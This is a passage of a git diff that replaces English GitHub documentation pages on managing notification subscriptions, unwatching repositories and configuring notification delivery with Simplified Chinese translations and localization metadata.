and decide whether to unsubscribe, see "[Viewing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions)." +为了帮助了解订阅并决定是否取消订阅,请参阅“[查看订阅](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions)”。 {% note %} -**Note:** Instead of unsubscribing, you have the option to ignore a repository. If you ignore a repository, you won't receive any notifications. We don't recommend ignoring repositories as you won't be notified if you're @mentioned. {% ifversion fpt or ghec %}If you're experiencing abuse and want to ignore a repository, please contact {% data variables.contact.contact_support %} so we can help. {% data reusables.policies.abuse %}{% endif %} +注意:可以选择忽略存储库,而不是取消订阅。 如果忽略仓库,将不会收到任何通知。 不建议忽略存储库,因为如果你被 @mentioned,你将不会收到通知。 {% ifversion fpt or ghec %} 如果遇到滥用行为并想要忽略存储库,请联系 {% data variables.contact.contact_support %} 以获取帮助。 {% data reusables.policies.abuse %}{% endif %} {% endnote %} -## Choosing how to unsubscribe +## 选择如何取消订阅 -To unwatch (or unsubscribe from) repositories quickly, navigate to [github.com/watching](https://github.com/watching) to see all the repositories you're following. For more information, see "[Unwatching repositories](#unwatching-repositories)." +若要快速取消关注(或取消订阅)存储库,请导航至 [github.com/watching](https://github.com/watching)查看你所关注的所有存储库。 有关详细信息,请参阅“[取消关注存储库](#unwatching-repositories)”。 -To unsubscribe from multiple notifications at the same time, you can unsubscribe using your inbox or on the subscriptions page. Both of these options offer more context about your subscriptions than the "Watched repositories" page. +要同时取消订阅多个通知,您可以使用收件箱或订阅页面上取消订阅。 相比“Watched repositories(已关注仓库)”页面,这两个选项可提供有关您的订阅的更多上下文。 -### Benefits of unsubscribing from your inbox +### 从收件箱中取消订阅的优点 -When you unsubscribe from notifications in your inbox, you have several other triaging options and can filter your notifications by custom filters and discussion types. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)." +在收件箱中取消订阅通知时,您还有其他一些分类选项,并且可以按自定义过滤器和讨论类型来过滤通知。 有关详细信息,请参阅“[管理收件箱中的通知](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)”。 -### Benefits of unsubscribing from the subscriptions page +### 从订阅页面取消订阅的优点 -When you unsubscribe from notifications on the subscriptions page, you can see more of the notifications you're subscribed to and sort them by "Most recently subscribed" or "Least recently subscribed". +在订阅页面上取消订阅通知时,您可以查看更多已订阅的通知,并且可以按“最多最近订阅”或“最少最近订阅”对它们进行排序。 -The subscriptions page shows you all of the notifications that you're currently subscribed to, including notifications that you have marked as **Done** in your inbox. +订阅页将显示当前订阅的所有通知,包括在收件箱中标记为“完成”的通知。 -You can only filter your subscriptions by repository and the reason you're receiving the notification. +您只能按仓库和接收通知的原因过滤订阅。 -## Unsubscribing from notifications in your inbox +## 在收件箱中取消订阅通知 -When you unsubscribe from notifications in your inbox, they will automatically disappear from your inbox. +当您取消订阅收件箱中的通知时,它们将自动从您的收件箱中消失。 {% data reusables.notifications.access_notifications %} -1. From the notifications inbox, select the notifications you want to unsubscribe to. -2. Click **Unsubscribe.** - ![Unsubscribe option from main inbox](/assets/images/help/notifications-v2/unsubscribe-from-main-inbox.png) +1. 从通知收件箱中选择您想要取消订阅的通知。 +2. 单击“取消订阅”。 + ![主收件箱中的“取消订阅”选项](/assets/images/help/notifications-v2/unsubscribe-from-main-inbox.png) -## Unsubscribing from notifications on the subscriptions page +## 从订阅页面取消订阅通知 {% data reusables.notifications.access_notifications %} -1. In the left sidebar, under the list of repositories, use the "Manage notifications" drop-down to click **Subscriptions**. - ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png) +1. 在左侧边栏存储库列表下的“管理通知”下拉菜单中单击“订阅”。 + ![管理通知下拉菜单选项](/assets/images/help/notifications-v2/manage-notifications-options.png) -2. Select the notifications you want to unsubscribe to. In the top right, click **Unsubscribe.** - ![Subscriptions page](/assets/images/help/notifications-v2/unsubscribe-from-subscriptions-page.png) +2. 选择要取消订阅的通知。 单击右上角的“取消订阅”。 + ![订阅页面](/assets/images/help/notifications-v2/unsubscribe-from-subscriptions-page.png) -## Unwatching repositories +## 取消关注仓库 -When you unwatch a repository, you unsubscribe from future updates from that repository unless you participate in a conversation or are @mentioned. +如果取消关注存储库,将取消订阅该存储库的未来更新,除非参与对话或被 @mentioned。 {% data reusables.notifications.access_notifications %} -1. In the left sidebar, under the list of repositories, use the "Manage notifications" drop-down to click **Watched repositories**. +1. 在左侧边栏存储库列表下的“管理通知”下拉菜单中单击“已关注的存储库”。 - ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png) + ![管理通知下拉菜单选项](/assets/images/help/notifications-v2/manage-notifications-options.png) -2. On the watched repositories page, after you've evaluated the repositories you're watching, choose whether to: +2. 在关注的仓库页面上,评估您关注的仓库后,选择是否: - - Unwatch a repository - - Ignore all notifications for a repository - - If enabled, customize the types of event you receive notifications for ({% data reusables.notifications-v2.custom-notification-types %}) + - 取消关注仓库 + - 忽略某仓库的所有通知 + - 如有启用,请自定义接收通知的事件类型({% data reusables.notifications-v2.custom-notification-types %}) -{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} -1. Optionally, to unsubscribe from all repositories owned by a given user or organization, select the **Unwatch all** dropdown and click the organization whose repositories you'd like to unsubscribe from. The button to unwatch all repositories is only available if you are watching all activity or custom notifications on over 10 repositories. +{%- ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5819 %} +1. (可选)要取消订阅指定用户或组织拥有的所有存储库,请选择“全部取消关注”下拉列表,然后单击要取消订阅其存储库的组织 **​​**。 取消关注所有存储库的按钮仅在您正在关注超过 10 个存储库上的所有活动或自定义通知时才可用。 - ![Screenshot of the Unwatch All button.](/assets/images/help/notifications-v2/unsubscribe-from-all-repos.png) + ![“全部取消关注”按钮的屏幕截图](/assets/images/help/notifications-v2/unsubscribe-from-all-repos.png) - - Click **Unwatch** to confirm that you want to unwatch the repositories owned by the selected user or organization, or click **Cancel** to cancel. + - 单击“取消关注”以确认要取消关注所选用户或组织拥有的存储库,或单击“取消”以取消关注 。 - ![Screenshot of the unwatch all confirmation dialogue.](/assets/images/help/notifications-v2/unwatch-repo-dialog.png) + ![全部取消关注确认对话框的屏幕截图。](/assets/images/help/notifications-v2/unwatch-repo-dialog.png) {% endif %} diff --git a/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md b/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md index 8d2d85b673..60de88d807 100644 --- a/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md +++ b/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md @@ -1,6 +1,6 @@ --- -title: Viewing your subscriptions -intro: 'To understand where your notifications are coming from and your notifications volume, we recommend reviewing your subscriptions and watched repositories regularly.' +title: 查看订阅 +intro: 为了解通知来自何处以及通知量,建议定期查看订阅和关注的仓库。 redirect_from: - /articles/subscribing-to-conversations - /articles/unsubscribing-from-conversations @@ -24,61 +24,63 @@ versions: topics: - Notifications shortTitle: View subscriptions +ms.openlocfilehash: 34faad79004d34f5beb14e8992b9aff4e6a3ab39 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145099202' --- -You receive notifications for your subscriptions of ongoing activity on {% data variables.product.product_name %}. There are many reasons you can be subscribed to a conversation. For more information, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications#notifications-and-subscriptions)." +接收 {% data variables.product.product_name %} 上长期活动的订阅通知。 有很多原因可能导致您订阅对话。 有关详细信息,请参阅“[关于通知](/github/managing-subscriptions-and-notifications-on-github/about-notifications#notifications-and-subscriptions)”。 -We recommend auditing and unsubscribing from your subscriptions as a part of a healthy notifications workflow. For more information about your options for unsubscribing, see "[Managing subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)." +我们建议将审核订阅和取消订阅作为健康通知工作流程的一部分。 有关取消订阅的选项的详细信息,请参阅“[管理订阅](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)”。 -## Diagnosing why you receive too many notifications +## 诊断收到太多通知的原因 -When your inbox has too many notifications to manage, consider whether you have oversubscribed or how you can change your notification settings to reduce the subscriptions you have and the types of notifications you're receiving. For example, you may consider disabling the settings to automatically watch all repositories and all team discussions whenever you've joined a team or repository. +当收件箱中要管理的通知过多时,请考虑您是否订阅过多,或者如何更改通知设置以减少订阅数量和接收的通知类型。 例如,您可以考虑禁用在加入团队或仓库时自动关注所有仓库和所有团队讨论的设置。 -{% ifversion update-notification-settings-22 %} -![Screenshot of automatic watching options for teams and repositories](/assets/images/automatically-watch-repos-and-teams.png) -{% else %} -![Screenshot of automatic watching options for teams and repositories](/assets/images/help/notifications-v2/automatic-watching-example.png){% endif %} +![自动关注](/assets/images/help/notifications-v2/automatic-watching-example.png) -For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#automatic-watching)." +有关详细信息,请参阅“[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#automatic-watching)”。 -To see an overview of your repository subscriptions, see "[Reviewing repositories that you're watching](#reviewing-repositories-that-youre-watching)." -{% tip %} +若要查看存储库订阅概述,请参阅“[查看正在关注的存储库](#reviewing-repositories-that-youre-watching)”。 {% tip %} -**Tip:** You can select the types of event to be notified of by using the **Custom** option of the **Watch/Unwatch** dropdown list in your [watching page](https://github.com/watching) or on any repository page on {% data variables.product.product_name %}. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)." +**提示:** 你可以在 [关注页面](https://github.com/watching)或 {% data variables.product.product_name %} 上的任何存储库页面,使用“关注/取消关注”下拉列表中的“自定义”选项选择要通知的事件类型 。 有关详细信息,请参阅“[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)”。 {% endtip %} -Many people forget about repositories that they've chosen to watch in the past. From the "Watched repositories" page you can quickly unwatch repositories. For more information on ways to unsubscribe, see "[Unwatch recommendations](https://github.blog/changelog/2020-11-10-unwatch-recommendations/)" on {% data variables.product.prodname_blog %} and "[Managing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)." You can also create a triage workflow to help with the notifications you receive. For guidance on triage workflows, see "[Customizing a workflow for triaging your notifications](/github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications)." +许多人忘记了他们过去选择关注的仓库。 从“Watched repositories(已关注仓库)”页面,您可以快速取消关注仓库。 有关取消订阅的方式的详细信息,请参阅 {% data variables.product.prodname_blog %} 上的“[取消关注建议](https://github.blog/changelog/2020-11-10-unwatch-recommendations/)”和“[管理订阅](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)”。 您也可以创建分类工作流程来帮助整理收到的通知。 有关分类工作流的指导,请参阅“[自定义对通知进行分类的工作流](/github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications)”。 -## Reviewing all of your subscriptions +## 查看所有订阅 {% data reusables.notifications.access_notifications %} -1. In the left sidebar, under the list of repositories that you have notifications from, use the "Manage notifications" drop-down to click **Subscriptions**. - ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png) +1. 在左侧边栏中你接收其通知的存储库列表下,在“管理通知”下拉菜单中单击“订阅”。 + ![“管理通知”下拉菜单选项](/assets/images/help/notifications-v2/manage-notifications-options.png) -2. Use the filters and sort to narrow the list of subscriptions and begin unsubscribing to conversations you no longer want to receive notifications for. +2. 使用过滤器和排序来缩小订阅列表,并开始取消订阅您不想再接收其通知的对话。 - ![Subscriptions page](/assets/images/help/notifications-v2/all-subscriptions.png) + ![订阅页面](/assets/images/help/notifications-v2/all-subscriptions.png) {% tip %} -**Tips:** -- To review subscriptions you may have forgotten about, sort by "least recently subscribed." +**提示:** +- 要查看您可能忘记了的订阅,请按“least recently subscribed(最近最少订阅)”进行排序。 -- To review a list of repositories that you can still receive notifications for, see the repository list in the "filter by repository" drop-down menu. +- 要查看您仍然可以接收其通知的仓库列表,请查看“filter by repository(按仓库过滤)”下拉菜单中的仓库列表。 {% endtip %} -## Reviewing repositories that you're watching +## 查看您目前关注的仓库 -1. In the left sidebar, under the list of repositories, use the "Manage notifications" drop-down menu and click **Watched repositories**. - ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png) -2. Evaluate the repositories that you are watching and decide if their updates are still relevant and helpful. When you watch a repository, you will be notified of all conversations for that repository. -![Watched notifications page](/assets/images/help/notifications-v2/watched-notifications-custom.png) +1. 在左侧边栏的存储库列表下,在“管理通知”下拉菜单中单击“已关注的存储库”。 + ![“管理通知”下拉菜单选项](/assets/images/help/notifications-v2/manage-notifications-options.png) +2. 评估您正在关注的仓库,确定它们更新是否仍然相关和有用。 关注某仓库后,您将收到该仓库所有对话的通知。 +![已关注的通知页面](/assets/images/help/notifications-v2/watched-notifications-custom.png) {% tip %} - **Tip:** Instead of watching a repository, consider only receiving notifications when there are updates to {% data reusables.notifications-v2.custom-notification-types %} (if enabled for the repository), or any combination of these options, or completely unwatching a repository. + **提示:** 不要关注存储库,而是考虑仅当 {% data reusables.notifications-v2.custom-notification-types %}(如已为存储库启用)或这些选项的任意组合有更新时接收通知,或者完全取消关注存储库。 - When you unwatch a repository, you can still be notified when you're @mentioned or participating in a thread. When you configure to receive notifications for certain event types, you're only notified when there are updates to these event types in the repository, you're participating in a thread, or you or a team you're on is @mentioned. + 取消关注存储库后,当你被 @mentioned 或参与帖子时仍然会收到通知。 当配置为接收某些事件类型的通知时,仅当存储库中有这些事件类型的更新、你参与了线程或者你或你所在团队被 @mentioned 时才会收到通知。 {% endtip %} diff --git a/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md b/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md index 18798d0d6f..d9234f8cc1 100644 --- a/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md +++ b/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md @@ -1,6 +1,6 @@ --- -title: About notifications -intro: 'Notifications provide updates about the activity on {% data variables.location.product_location %} that you''ve subscribed to. You can use the notifications inbox to customize, triage, and manage your updates.' +title: 关于通知 +intro: '通知提供有关你在 {% data variables.product.product_location %} 上已订阅活动的更新。 可以使用通知收件箱来自定义、分类和管理更新。' redirect_from: - /articles/notifications - /articles/about-notifications @@ -14,86 +14,90 @@ versions: ghec: '*' topics: - Notifications +ms.openlocfilehash: 87034df88eb94c1d880806f01cb8748ed555a284 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147432022' --- +## 通知和订阅 -## Notifications and subscriptions +可选择通过订阅接收有关 {% data variables.product.product_location %} 上的特定活动的持续更新。 通知是您收到的已订阅特定活动的更新。 -You can choose to receive ongoing updates about specific activity on {% data variables.location.product_location %} through a subscription. Notifications are updates that you receive for specific activity that you are subscribed to. +### 订阅选项 -### Subscription options +您可以选择订阅关于以下内容的通知: +- 关于特定议题、拉取请求或 Gist 的对话。 +- 仓库或团队讨论中的所有活动。 +- CI 活动,例如仓库中使用 {% data variables.product.prodname_actions %} 设置的工作流程的状态。 +- 仓库 {% data reusables.notifications-v2.custom-notification-types %} (如果启用)。 -You can choose to subscribe to notifications for: -- A conversation in a specific issue, pull request, or gist. -- All activity in a repository or team discussion. -- CI activity, such as the status of workflows in repositories set up with {% data variables.product.prodname_actions %}. -- Repository {% data reusables.notifications-v2.custom-notification-types %} (if enabled). +您也可以选择自动关注所有您有推送访问权限的仓库,但复刻除外。 可单击“关注”来手动关注你有权访问的任何其他存储库。 -You can also choose to automatically watch all repositories that you have push access to, except forks. You can watch any other repository you have access to manually by clicking **Watch**. +如果您的某项对话不再感兴趣,您可以取消订阅、取消关注或自定义以后接收的通知类型。 例如,如果不想再接收特定存储库的通知,可单击“取消订阅”。 有关详细信息,请参阅“[管理订阅](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)”。 -If you're no longer interested in a conversation, you can unsubscribe, unwatch, or customize the types of notifications you'll receive in the future. For example, if you no longer want to receive notifications from a particular repository, you can click **Unsubscribe**. For more information, see "[Managing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)." +### 默认订阅 -### Default subscriptions +一般来说,默认在以下情况下自动订阅对话: +- 在通知设置中未禁用自动关注您加入的仓库或团队。 默认情况下,此设置处于启用状态。 +- 被分配了议题或拉取请求。 +- 打开了拉取请求、议题或创建了团队讨论帖子。 +- 在帖子中发表了评论。 +- 通过单击“关注”或“订阅”手动订阅了帖子 。 +- 向你的用户名执行了 @mentioned。 +- 更改了帖子的状态,例如通过关闭议题或合并拉取请求。 +- 向你所属的团队执行了 @mentioned。 -In general, you are automatically subscribed to conversations by default when you have: -- Not disabled automatic watching for repositories or teams you've joined in your notification settings. This setting is enabled by default. -- Been assigned to an issue or pull request. -- Opened a pull request, issue, or created a team discussion post. -- Commented on a thread. -- Subscribed to a thread manually by clicking **Watch** or **Subscribe**. -- Had your username @mentioned. -- Changed the state of a thread, such as by closing an issue or merging a pull request. -- Had a team you're a member of @mentioned. +默认情况下,还会自动关注你创建的以及你的个人帐户所拥有的所有存储库。 -By default, you also automatically watch all repositories that you create and are owned by your personal account. +要取消订阅自动订阅的对话,可更改通知设置,或者直接取消订阅或取消关注 {% data variables.product.product_location %} 上的活动。 有关详细信息,请参阅“[管理订阅](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)”。 -To unsubscribe from conversations you're automatically subscribed to, you can change your notification settings or directly unsubscribe or unwatch activity on {% data variables.location.product_location %}. For more information, see "[Managing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)." +## 自定义通知和订阅 -## Customizing notifications and subscriptions +可选择通过 [https://github.com/notifications](https://github.com/notifications){% ifversion fpt or ghes or ghec %} 上和 {% data variables.product.prodname_mobile %} 应用中的通知收件箱查看通知{% endif %},或者通过电子邮件或这些选项的某种组合进行查看。 -You can choose to view your notifications through the notifications inbox at [https://github.com/notifications](https://github.com/notifications){% ifversion fpt or ghes or ghec %} and in the {% data variables.product.prodname_mobile %} app{% endif %}, through your email, or some combination of these options. +要自定义您希望接收的更新类型以及将这些更新发送至何处,请配置通知设置。 有关详细信息,请参阅“[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)”。 -To customize the types of updates you'd like to receive and where to send those updates, configure your notification settings. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)." +要保持订阅的可管理性,请审查您的订阅和关注的仓库,并根据需要取消订阅。 有关详细信息,请参阅“[在 GitHub 上管理活动的订阅](/github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github)”。 -To keep your subscriptions manageable, review your subscriptions and watched repositories and unsubscribe as needed. For more information, see "[Managing subscriptions for activity on GitHub](/github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github)." +要自定义如何接收特定拉取请求或议题的更新,可以在议题或拉取请求中配置首选项。 有关详细信息,请参阅“[对单个通知进行分类](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification#customizing-when-to-receive-future-updates-for-an-issue-or-pull-request)”。 -To customize how you'd like to receive updates for specific pull requests or issues, you can configure your preferences within the issue or pull request. For more information, see "[Triaging a single notification](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification#customizing-when-to-receive-future-updates-for-an-issue-or-pull-request)." - -{% ifversion fpt or ghes or ghec %} -You can customize and schedule push notifications in the {% data variables.product.prodname_mobile %} app. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#managing-your-notification-settings-with-github-mobile)." +{% ifversion fpt or ghes or ghec %} 可在 {% data variables.product.prodname_mobile %} 应用中自定义和安排推送通知。 有关详细信息,请参阅“[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#managing-your-notification-settings-with-github-mobile)”。 {% endif %} -## Reasons for receiving notifications +## 接收通知的原因 -Your inbox is configured with default filters, which represent the most common reasons that people need to follow-up on their notifications. For more information about inbox filters, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#default-notification-filters)." +您的收件箱配置了默认过滤器,它们代表人们需要跟进通知的最常见原因。 有关收件箱筛选器的详细信息,请参阅“[管理收件箱中的通知](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#default-notification-filters)”。 -Your inbox shows the `reasons` you're receiving notifications as a label. +收件箱以标签形式显示你接收通知的 `reasons`。 -![Reasons labels in inbox](/assets/images/help/notifications-v2/reasons-as-labels-in-inbox.png) +![收件箱中的原因标签](/assets/images/help/notifications-v2/reasons-as-labels-in-inbox.png) -You can filter your inbox by the reason you're subscribed to notifications. For example, to only see pull requests where someone requested your review, you can use the `review-requested` query filter. +您可以按订阅通知的原因过滤收件箱。 例如,要仅查看有人请求你审查的拉取请求,可使用 `review-requested` 查询筛选器。 -![Filter notifications by review requested reason](/assets/images/help/notifications-v2/review-requested-reason.png) +![通过查看请求的原因过滤通知](/assets/images/help/notifications-v2/review-requested-reason.png) -If you've configured notifications to be sent by email and believe you're receiving notifications that don't belong to you, consider troubleshooting with email headers, which show the intended recipient. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)." +如果您已将通知配置为通过电子邮件发送,但认为您收到了不属于自己的通知,请考虑使用显示预期收件人的电子邮件标头排除故障。 有关详细信息,请参阅“[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)”。 -## Triaging notifications from your inbox +## 从收件箱分类通知 -To effectively manage your notifications, you can triage your inbox with options to: -- Remove a notification from the inbox with **Done**. You can review **Done** notifications all in one place by clicking **Done** in the sidebar or by using the query `is:done`. -- Mark a notification as read or unread. -- **Save** a notification for later review. **Saved** notifications are flagged in your inbox. You can review **Saved** notifications all in one place in the sidebar by clicking **Saved** or by using the query `is:saved`. -- Automatically unsubscribe from this notification and future updates from this conversation. Unsubscribing also removes the notification from your inbox. If you unsubscribe from a conversation and someone mentions your username or a team you're on that you're receiving updates for, then you will start to receive notifications from this conversation again. +为了有效地管理通知,您可以使用以下选项对收件箱进行分类: +- 从收件箱中删除带有“完成”标记的通知。 可单击边栏中的“完成”或使用 `is:done` 查询集中查看所有“已完成”的通知 。 +- 将通知标记为已读或未读。 +- 保存通知供以后查看。 已保存的通知会在收件箱中标记。 可在边栏中单击“已保存”或使用 `is:saved` 查询集中查看所有“已保存”的通知 。 +- 自动取消订阅此通知和此对话的未来更新。 取消订阅还会从收件箱中删除通知。 如果您取消订阅了对话,但有人在此对话中提及您的用户名或您所在的团队(您正在为其接收更新),则您将再次开始接收此对话的通知。 -From your inbox you can also triage multiple notifications at once. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#triaging-multiple-notifications-at-the-same-time)." +您还可以从收件箱中一次分类多个通知。 有关详细信息,请参阅“[管理收件箱中的通知](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#triaging-multiple-notifications-at-the-same-time)”。 -## Customizing your notifications inbox +## 自定义通知收件箱 -To focus on a group of notifications in your inbox on {% data variables.location.product_location %}{% ifversion fpt or ghes or ghec %} or {% data variables.product.prodname_mobile %}{% endif %}, you can create custom filters. For example, you can create a custom filter for an open source project you contribute to and only see notifications for that repository in which you are mentioned. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)." For more examples of how to customize your triaging workflow, see "[Customizing a workflow for triaging your notifications](/github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications)." +要在 {% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} 或 {% data variables.product.prodname_mobile %}{% endif %} 上的收件箱中关注一组通知,可创建自定义筛选器。 例如,您可以为您参与的开源项目创建自定义过滤器,只查看您被提及的仓库的通知。 有关详细信息,请参阅“[管理收件箱中的通知](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)”。 有关如何自定义分类工作流的更多示例,请参阅“[自定义对通知进行分类的工作流](/github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications)”。 -## Notification retention policy +## 通知保留策略 -Notifications that are not marked as **Saved** are kept for 5 months. Notifications marked as **Saved** are kept indefinitely. If your saved notification is older than 5 months and you unsave it, the notification will disappear from your inbox within a day. +未标记为“已保存”的通知将保留 5 个月。 标记为“已保存”的通知将无限期保留。 如果已保存通知超过 5 个月后,您取消保存它,则该通知将在一天之内从收件箱中消失。 -## Feedback and support +## 反馈和支持 -If you have feedback or feature requests for notifications, use a [{% data variables.product.prodname_github_community %} discussion](https://github.com/orgs/community/discussions/categories/general). +如果你有针对通知的反馈或功能请求,请使用 [{% data variables.product.prodname_github_community %} 讨论](https://github.com/orgs/community/discussions/categories/general)。 diff --git a/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md b/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md index ee9ed4f6aa..6108895268 100644 --- a/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md +++ b/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md @@ -1,6 +1,6 @@ --- -title: Configuring notifications -intro: 'Choose the type of activity on {% data variables.product.prodname_dotcom %} that you want to receive notifications for and how you want these updates delivered.' +title: 配置通知 +intro: '选择 {% data variables.product.prodname_dotcom %} 上您想要接收其通知的活动类型以及您希望如何发送这些更新。' redirect_from: - /articles/about-web-notifications - /format-of-notification-emails @@ -22,88 +22,78 @@ versions: ghec: '*' topics: - Notifications +ms.openlocfilehash: b7822a7db40455476c5fc5ac6f779e45d7f558a9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147060760' --- +## 通知递送选项 -## Notification delivery options +可以在以下位置的 {% data variables.product.product_location %} 上接收活动的通知。 -You can receive notifications for activity on {% data variables.location.product_location %} in the following locations. + - {% data variables.product.product_location %} Web 界面{% ifversion fpt or ghes or ghec %}中的通知收件箱 + - {% data variables.product.prodname_mobile %} 上的通知收件箱,它与 {% data variables.product.product_location %} 上的收件箱同步{% endif %} + - 使用经验证电子邮件地址的电子邮件客户端,也可以与 {% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} 及 {% data variables.product.prodname_mobile %} 上的通知收件箱同步{% endif %} - - The notifications inbox in the {% data variables.location.product_location %} web interface{% ifversion fpt or ghes or ghec %} - - The notifications inbox on {% data variables.product.prodname_mobile %}, which syncs with the inbox on {% data variables.location.product_location %}{% endif %} - - An email client that uses a verified email address, which can also sync with the notifications inbox on {% data variables.location.product_location %}{% ifversion fpt or ghes or ghec %} and {% data variables.product.prodname_mobile %}{% endif %} - -{% ifversion fpt or ghes or ghec %} -{% data reusables.notifications-v2.notifications-inbox-required-setting %} For more information, see "[Choosing your notification settings](#choosing-your-notification-settings)." +{% ifversion fpt or ghes or ghec %} {% data reusables.notifications-v2.notifications-inbox-required-setting %} 有关详细信息,请参阅“[选择通知设置](#choosing-your-notification-settings)”。 {% endif %} {% data reusables.notifications.shared_state %} -### Benefits of the notifications inbox +### 通知收件箱的优点 -The notifications inbox on {% data variables.location.product_location %}{% ifversion fpt or ghes or ghec %} and {% data variables.product.prodname_mobile %}{% endif %} includes triaging options designed specifically for your {% data variables.product.prodname_dotcom %} notifications flow, including options to: - - Triage multiple notifications at once. - - Mark completed notifications as **Done** and remove them from your inbox. To view all of your notifications marked as **Done**, use the `is:done` query. - - Save a notification to review later. Saved notifications are flagged in your inbox and kept indefinitely. To view all of your saved notifications, use the `is:saved` query. - - Unsubscribe and remove a notification from your inbox. - - Preview the issue, pull request, or team discussion where the notification originates on {% data variables.location.product_location %} from within the notifications inbox. - - See one of the latest reasons you're receiving a notification from your inbox with a `reasons` label. - - Create custom filters to focus on different notifications when you want. - - Group notifications in your inbox by repository or date to get a quick overview with less context switching +{% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} 和 {% data variables.product.prodname_mobile %}{% endif %} 上的通知收件箱包含专为你的 {% data variables.product.prodname_dotcom %} 通知流程设计的分类选项,包括: + - 一次分类多个通知。 + - 将已完成的通知标记为“完成”并将其从收件箱中删除。 要查看标记为“完成”的所有通知,请使用 `is:done` 查询。 + - 保存通知以供以后查看。 已保存的通知会在收件箱中标记并无限期保留。 要查看保存的所有通知,请使用 `is:saved` 查询。 + - 取消订阅并从收件箱中删除通知。 + - 从通知收件箱预览 {% data variables.product.product_location %} 上产生通知的议题、拉取请求或团队讨论。 + - 查看你从收件箱收到带有 `reasons` 标签的通知的最新原因之一。 + - 